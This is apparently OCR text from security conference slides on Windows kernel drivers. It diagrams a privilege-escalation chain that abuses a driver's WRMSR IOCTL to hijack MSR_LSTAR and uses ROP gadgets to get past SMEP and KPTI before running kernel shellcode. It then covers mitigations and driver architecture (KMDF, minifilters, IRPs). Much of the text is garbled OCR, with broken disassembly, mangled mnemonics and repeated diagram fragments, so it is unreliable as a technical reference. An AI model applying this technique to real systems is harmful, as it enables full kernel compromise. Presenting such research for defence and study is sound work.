DeviceIoControl — - P
I I‘: IoCreateSymbolicLink() MSR_STAR (IA32_STAR)
~
SetThreadPriority() ~ .
P Affini
SetProcessorAffinity() .,i IOCTL (WRMSR) l~~ MSR_CSTAR (IA32_CSTAR)
Sleep() X~
\ S d
syscall() - A -\— /:‘MSR_LSTAR (IA32_LSTAR)
Ntoskrnl.exe Al
7 N
KiSystemCall64 b 7 IA32_ KERNEL_GS_BASE

swapgs # setup stack

KernelShellCode




> MSR EXP

4 ﬁ l‘

ROLL - FiREE

Exploit.exe Vul.sys Processor A
I DeviceIoControl |<— —— IoCreateDevice()
N IoCreateSymbolicLink() MSR_STAR (IA32_STAR)
g c ~
SetThreadPriority() ~ .
SetProcessorAffinit
YZ0) .‘l IOCTL (WRMSR) l\ MSR_CSTAR (IA32_CSTAR)
Sleep()
N\ S S
syscall() - e W by = ?MSR_LSTAR (IA32_LSTAR)
Ntoskrnl.exe P\
7 N
KiSystemCall64 b 7 IA32_ KERNEL_GS_BASE
swapgs # setup StaCk kd> u nt!KiSystemServiceExit+0x138 L 0xf
nt | KiSystenServiceExit+0x138:
fffff800:02a8d293 4c8b85S00010000 mow r8,gword ptr [rbp+l100h]
KernelShellCode e qru = Sidas el
5 5 "02a8d2a3 660fefcl pEOoYr zmm0, xmm0
e KiSystemExit *02a8d2a? 660fefc9 pxor wmml, xmml
el — ‘02a8d2ab 660fefd2 pxor Emm2 , xmm2
o — ‘02a8d2af 660fefdb pxor zZmm3, xmm3

‘02a8d2b3 660fefed pEor =mmd , xmmd

"02a8d2b? 660fefed pxor zZmmS , xmmS

‘02a8d2bb 488b8de8000000 mowv rcx,qword ptr [rbp+0ES8h]
"02a8d2c2 4c8b9df8000000 mow rll,qword ptr [rbp+0F8h]
*02a8d2c9 498be9 nov rbp,r9

‘02a8d2cc 498bel sp.r8

‘02a8d2ct 0f01£8 swapgs
‘02a8d2d2 480f07 sysretqg

swapgs # sysretq

f
f
f
f
f
f
f
f
f
f
f
f
f
f

ff
£
ff
ff
ff
ff
ff
ff
ff
£f
ff
ff
ff
£x




FCIFIC REGISTERS

SMEP

Supervisor Mode Execution Prevention - BSODs if CPU detects
execution of a user-mode VA while in Ring-0

Like DEP, bypassing SMEP is done via Return Oriented
Programming

SMEP is enabled via the CR4 register
31(63)

Reserved

FSGSBASE OSFXSR
OSXSAVE PCIDE OSXMMEXCPT

KVASCODE: swapgs
KVASCODE:

KVASCODE : ;
KVASCODE : e00000014032DBDA
KVASCODE : 200000014032DBD4 KiKernelExit endp




> MSR EXi

Exploit.exe Vul.sys Processor A
IoCreateDevice()
==|== Calc/Deal ROP Gadgets - C
: _ — 7| | ToCreateSymbolicLink() MSR_STAR (IA32_STAR)
-
: I DeviceIoControl I“L :
A MSR_CSTAR (IA32_CSTAR)
: SetThreadPriority() *l LDCTL SRR |\: -
I SetProcessorAffinity() N o
I Sleep() R - 9 MSR_LSTAR (IA32_LSTAR)
I . —_—— \"
: 10 _ — = = = —Ntoskrnl.exe PR
sysca e
. . P < N IA32_KERNEL_GS_BASE
l KiKernelExit »
L —_— I I I I I I I I I I I I I I
swapgs # setup stack

KVASCODE : swapgs
KVASCODE : iretq
KVASCODE:

KVASCODE : 9880066 retn
KVASCODE : 200000014032DBD4 KiKernelExit endp
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> MSR EXP

Exploit.exe Vul.sys Processor A
IoCreateDevice()
==|== Calc/Deal ROP Gadgets - .
: _ — 7| | ToCreateSymbolicLink() MSR_STAR (IA32_STAR)
-
| I DeviceIoControl I“L :
= -
! SetThreadPriority() .*l L1OCTL (HRMSR) |\\ B e e )
~
[ SetProcessorAffinity() S N o
I Sleep() R - a MSR_LSTAR (IA32_LSTAR)
I . —_—— \"
I 10 _ — = = = —Ntoskrnl.exe PR
sysca U
, < N IA32_KERNEL_GS_BASE
| KiKernelExit ,
:- N — swapgs # setup stack
: KeFlushCurrer Tboimmediatly
B 0 0 e H Modify CR4 gadget




> MSR EXPLO

Exploit.exe Vul.sys Processor A
IoCreateDevice()
==|== Calc/Deal ROP Gadgets - .
: _ — 7| | ToCreateSymbolicLink() MSR_STAR (IA32_STAR)
-
| I DeviceIoControl I“L :
= -
! SetThreadPriority() .*l L1OCTL (HRMSR) |\\ B e e )
~
[ SetProcessorAffinity() S N o
I Sleep() R - a MSR_LSTAR (IA32_LSTAR)
I . —_—— \"
I B, _ — = = = —Ntoskrnl.exe PR
sysca o
, < N IA32_KERNEL_GS_BASE
| KiKernelExit ,
:- N — swapgs # setup stack
: KeFlushCurrer Tboimmediatly
T — 2 Modify CR4 gadget
KernelShellCode




> MSR EXPLO

Exploit.exe

Calc/Deal ROP Gadgets

I DeviceIoControl Pﬁ

SetThreadPriority()
SetProcessorAffinity()
Sleep()

syscall()

KernelShellCode

—_______T-----

Vul.sys

IoCreateDevice()

1 TIoCreateSymbolicLink()

"

IOCTL (WRMSR)

Ik

_ — — Ntoskrnl.exe

KiKernelExit

swapgs # setup stack

KeFlushCurrer Tbimmediatly

Modify CR4 gadget

KiKernelExit

- swapgs # sysretq

Processor A

'3’
R

MSR_STAR (IA32_STAR)

MSR_CSTAR (IA32_CSTAR)

MSR_LSTAR (IA32_LSTAR)

IA32_KERNEL_GS_BASE
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KPTI

As a response to Spectre and Meltdown Microsoft added
Kernel Page Table Isolation (KPTI)

SMEP is enabled via the CR3 register

KPTI maintains a separate set of page tables for user- and
kernel-mode

While in user-mode, you have a user-mode CR3 value
(KPROCESS .UserDirectoryTableBase)

While in kernel-mode, you have a kernel-mode CR3 value -
(KPROCESS .DirectoryTableBase) source: Fireeye

[EventType{1, 2, 3, ¢

, 39}, EventTypeName{"Start", "End", "DCStart”, "DCEnd", "Defunct”}]
class 1:

ryTableBase;
obje

3
string ImageFileName;

string CommandLine;

[4



> MSR EXP

Exploit.exe Vul.sys
______________ I
- Calc/Deal ROP Gadgets : | B IoCr‘eateDev:!.ceg)
L—-=—"— IoCreateSymbolicLink()
-—
I DeviceIoControl e d_
I e -->| IOCTL (WRMSR) IV
SetThreadPriority() |
SetProcessorAffinit
Sleep() 70 ' Ntoskrnl.exe
* JE—— r—;‘—
KVASCODE KiKernelExit— = = — —— - =
syscall() g e =—-
swapgs # setup stack

Processor A

MSR_STAR (IA32_STAR)

MSR_CSTAR (IA32_CSTAR)

>

| MSR_LSTAR (IA32_LSTAR)

\
N

IA32_KERNEL_GS_BASE
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T

> M5R

Exploit.exe

Vul.sys

== Calc/Deal ROP Gadgets

-— -—
I DeviceIoControl I":_ =

IoCreateDevice()
TIoCreateSymbolicLink()

N e -->| IOCTL (WRMSR) I\
\ S
SetThreadPriority() | WM
SetProcessorAffinit
) yO) ' Ntoskrnl.exe \
eep() ¥ E——
— m wm— — —— - =]
KVASCODE KiKerpelExit={ = = = o —
syscall() <+ e =—-
swapgs # setup stack

KVASCODE KiKernellstExit

__________ ’_

Processor A

>

\

N

MSR_STAR (IA32_STAR)

MSR_CSTAR (IA32_CSTAR)

| MSR_LSTAR (IA32_LSTAR)

IA32_KERNEL_GS_BASE
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> MSR EXP

Exploit.

exe

Vul.sys

Calc/Deal ROP Gadgets

I DeviceIoControl

SetThreadPriority()
SetProcessorAffinity()
Sleep()

syscall()

IoCreateDevice()
IoCreateSymbolicLink()

T

IOCTL (WRMSR)

Iy

Modify CR4 gadget

N
| \\
' Ntoskrnl.exe \
— -
* - wmm T —— — ]
KVASCODE_KiLgr‘nglEadt = e
=~ - = . ol — -— —
swapgs # setup stack I
KVASCODE KiKernellstExit
I _
1
] | ] | —— ] ] | ] | 1 g}
KeFlushCurrenTbimmediatly

Processor A

>

\

\

MSR_STAR (IA32_STAR)

MSR_CSTAR (IA32_CSTAR)

| MSR_LSTAR (IA32_LSTAR)

IA32_KERNEL_GS_BASE
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> MSR EXP

Exploit.

exe

Vul.sys

Calc/Deal ROP Gadgets

I DeviceIoControl

SetThreadPriority()
SetProcessorAffinity()
Sleep()

syscall()

KernelShellCode

IoCreateDevice()
TIoCreateSymbolicLink()

"

IOCTL (WRMSR)

Iy

N
| \ M
: Ntoskrnl.exe \
* - mmm — - —_
— —
KVASCODE Kil(gr‘nglEadti— - -
=~ e — -— —
-— —-—

swapgs # setup stack I

KVASCODE KiKernellstExit

]

KeFIushCurre}TbImmediatly
v

Modify CR4 gadget

Processor A

>

\

\

MSR_STAR (IA32_STAR)

MSR_CSTAR (IA32_CSTAR)

| MSR_LSTAR (IA32_LSTAR)

IA32_KERNEL_GS_BASE
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Exploit.exe

Vul.sys

=1

r— = """ 8\

Calc/Deal ROP Gadgets

IoCreateDevice()

L= =~ TIoCreateSymbolicLink()
. -
I DeviceIoControl I‘l’- i | i
] B -->| IOCTL (WRMSR) I
.y \»
SetThreadPriority() | WM
SetProcessorAffinit
yO) ' Ntoskrnl.exe \
Sleep() -
* . i =;_;——_
KVASCODE KiKerpelExit=— = == = ~ =
— w— —
syscall() - - -
swapgs # setup stack I
KVASCODE KiKernellstExit
: |
:[ KeFIushCurreaTblmmediatly
I Modify CR4 gadget
KernelShellCode R Exit
e e e swapgs # sysretq
| ] | ] | ] | _— | ] — ] L] ] .| ] | ] L | ] L} ] | ] ‘

Processor A

>

\

\

MSR_STAR (IA32_STAR)

MSR_CSTAR (IA32_CSTAR)

| MSR_LSTAR (IA32_LSTAR)

IA32_KERNEL_GS_BASE
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Win8+ - BSODs if CPU
detects execution of a user-mode VA while in Ring-©

As a response to Spectre and Meltdown Microsoft added
, KPTI maintains a separate set of page
tables for user- and kernel-mode

SWAPGS and Stack setup swapgs # iretq swapgs # iretq
Modify CR4 gadget Modify CR3 gadget
Kernel shellcode Moaodify CR4 gadget

Kernel shellcode

Kernel shellcode

swapgs # sysretq Shilel Bk BF e swapgs # sysretq

EZ MODE ~Win8 SMEP Win8+ Spectre+Meltdown KPTI
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> DUTLINE
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> CURRENT AND POTENTIAL MITIGRATIONS

& catches MSR and CR3/CR4
modifications

Adding some sort of cookie check post-CR3
restoration could raise the bar

Require attackers to also have arbitrary kernel reads

More driver install notifications

Hardware drivers have confirmation prompts on install -
but not software drivers?

Windows Driver Samples should import their
security advises on MSDN
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> REFERERNCES

Device Driver Debauchery and MSR Madness
Ryan Warns & Tim Harrison - FireEye

Get off the kernel if you can’t drive
Jesse Michael - DEFCON 27
Reverse Engineering and Bug Hunting On KMDF Drivers
Enrique Nissim - IOActive
Windows Drivers Attack Surface
I1ja Van Sprundel
Windows Internals 6,7, MSDN
Microsoft
Practical Malware Analysis
Michael Sikorski & Andrew Honig

The Rootkit Arsenal
Reverend Bill Blunde
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VXD (Virtual X Driver)
Windows 95 * Windows 98

KDM (Kernel Driver Model)
Windows NT

WDM (Windows Driver Model)
Windows 2000 ~ Windows
DDK (Driver Developer Kit)

WDF (Windows Driver Frameworks)

Windows 7 ~ Windows 10
WDK (Windows Driver Kit)



- POSIX 0s/2
Application Application

Work-
station
service

Virtual
Memaory
*| Manager| [Manager| Manager| Managed [Manager

(VMM)

E—T—

Executive

Kernel mode drivers Microkernel

Windows
i . Hard Abstraction L HAL
Mlcr‘oker‘nel + leOS ardware Abstraction Layer ( )
Monolithic Like Kernel mode

Hardware source: Wikipedia



Windows
Servicce

Applicaton

!

UserMode PnP Setupapi.dll
Manager

User Mode .inf
.cat
Kernel Mode _ _ 8 _ _ _ _V_ _ L o YyY$Y.,__ registry

|
l WDM WMI
|

I/0 system
y Routine

PnP Manager Power Manager I/0 Manager

Driver
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Example, CreateFileA();

ProcessXXX.exe.CreateFileA()
Kernel32.dll.CreateFileA()
KERNELBASE.d11.CreateFileA()
KERNELBASE.d11.CreateFileW()
KERNELBASE.dll.CreateFileInternal()

Ntdll.dll.KiFastSystemCall.NtCreateFile()

Ntoskrnl.exe.KiFastCallEntry.NtCreateFile()

Ntoskrnl.exe.KiSystemService.NtCreateFile()

DriverXXX.sys.PreOperationCallback()




In Windows OS kernel-mode is stack-like architecture, this kind
Layered driver Architecture also been called -

Application

Windows Operating System

Driver 1
(filter driver) Fig. 1. A pipeline of cascaded stream components.

L. ¥ Cl i 1 - - i }
Driver 2 o

(filter driver)

Driver 3

(function driver) Device

source: MSDN



Enviroment Subsystem/
Dlls

User Mode

Kernel Mode

I/0 System

I/0 Manager

IRP header . . .
- File Device Driver
IRP stack Object Object Object
location

Driver Start I/0 Routine
Entry & Unload DPC

Dispatch Routine ISR Routine

Routine Create Read Write



Enviroment Subsystem/

Dlls
User Mode

Kernel Mode

I/0 System

I/0 Manager
KMDF DriverA

(QOI I AYGEX 32y KMDF Manager

I/0 target

KMDF DriverB




WUDFx02000.dlII

Driver Manager

UMDF Driver UMDF Driver

UMDF Framework UMDF Framework

Applications

Win32 API

UMDF Runtime UMDF Runtime

User Mode

Kernel Mode

Reflector(Filter) Reflector(Filter)

Windows Kernel

Kernel Mode Driver UMDEFCtriDev Kernel Mode Driver

Kernel Mode Driver

Local Device Stack Local Device Stack
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source: Windows Internals

|._Jr_!§h3l’-|E.'"-'Ee|. '

t.. Glass filter driver

©.. Glass filter driver :

4

Lowerdevel -
*.. devica filter driver

Device drivers

Bus drivers R T T
Bus Filter
Dhriver

Upper Filter Driver

Upper Filter Driver

Upper Filter Driver

Function Driver

Lower Filter Driver

Lower Filter Driver

Bus Driver
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-~ MINIEILTER

IRP(I/O Request Packets) work flow in Windows OS :

User request for file I/0

1/0 Manager
Forwards request to file
system

Filter Manager
Intercepts request and
calls registered minifilters
in altitude order

File System Driver
Processes and forwards
modified request

User Mode

Kernel Mode

Minifilter A
FSFilter Activity Monitor
Altitude 365000

Minifilter B
FSFilter Anti-Virus
Altitude 325000

Minifilter C
FSFilter Replication
Altitude 305000

Storage Driver Stack
For target volume Prepares
request for hardware

Hardware source : MSDN
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- MINIEILTER

DriverEntry routine
FilterManager

Minifilter driver

Minifilter driver Extension Register
Kernel Dispatcher
Minifilter driver CommunicationUK
Degree (Altitude)
Events

Handlers

-
:':
-
o
=
(a1
Q
5
>
ot
>
<C

Minifilter driver

—
B

FilterUnloadCallback routine

FileSystemDriver

Storage Driver Stack preoperation

Hardware postoperation




> RP

IRP_MJ_CLEANUP

IRP_MJ_CLOSE
IRP_MJ_DEVICE_CONTROL
IRP_MJ_LOCK_CONTROL
IRP_MJ_SET_VOLUME_INFORMATION
IRP_MJ_QUERY_SECURITY
IRP_MJ_SET EA
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> RP

typedef struct _FLT_CALLBACK_DATA {
FLT_CALLBACK_DATA_FLAGS Flags;
const PETHREAD Thread;
const PFLT_IO_PARAMETER_BLOCK Iopb;
I0_STATUS_BLOCK IoStatus;
struct _FLT_TAG_DATA_BUFFER *TagData;
union {
struct {
LIST_ENTRY Queuelinks;

PVOID QueueContext[2];

1
S

PVOID FilterContext[4];

A
>
Jo

KPROCESSOR_MODE RequestorMode;
} FLT_CALLBACK_DATA, *PFLT_CALLBACK_DATA;

UCHAR OperationFlags;
UCHAR Reserved;
PFILE_OBJECT TargetFileObject;
PFLT_INSTANCE TargetInstance;
FLT_PARAMETERS Parameters;

typedef struct _FLT_TAG_DATA BUFFER

ULONG FileTag;

USHORT TagDatalLength;

USHORT UnparsedNamelLength;

union {

struct {

USHORT SubstituteNameOffset;
USHORT SubstituteNamelLength;
USHORT PrintNameOffset;
USHORT PrintNamelLength;
ULONG Flags;
WCHAR PathBuffer[1];

} SymbolicLinkReparseBuffer;

struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNamelLength;
USHORT PrintNameOffset;
USHORT PrintNamelLength;
WCHAR PathBuffer[1];

} MountPointReparseBuffer;

UCHAR DataBuffer[1];
} GenericReparseBuffer;
struct {

GUID TagGuid;

UCHAR DataBuffer[1];
} GenericGUIDReparseBuffer;

} FLT_IO_PARAMETER_BLOCK, *PFLT_IO_PARAMETER_BLOCK;

r
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if

—»FileCbject != NILL) {

ztatus = FltGetFileNameInformationt
FLT FILE NAME NOEMALIZED |
MiniSpvData. NametueryMethod,
rnameInfo) ;

A

typedef struct FLT_FILE_NAME_INFORMATION {

J

USHORT

FLT_FILE_NAME_PARSED_FLAGS
FLT_FILE_NAME_OPTIONS

UNICODE_STRING
UNICODE_STRING

UNICODE_STRING
UNICODE_STRING
UNICODE_STRING
UNICODE_STRING
UNICODE_STRING
FLT FILE NAME_INFORMATION, *PFLT FILE_NAME_INFORMATION;

Size;
NamesParsed;
Format;

Name;

Volume;

Share;
Extension;
Stream;
FinalComponent;
ParentDir;

source: MSDN
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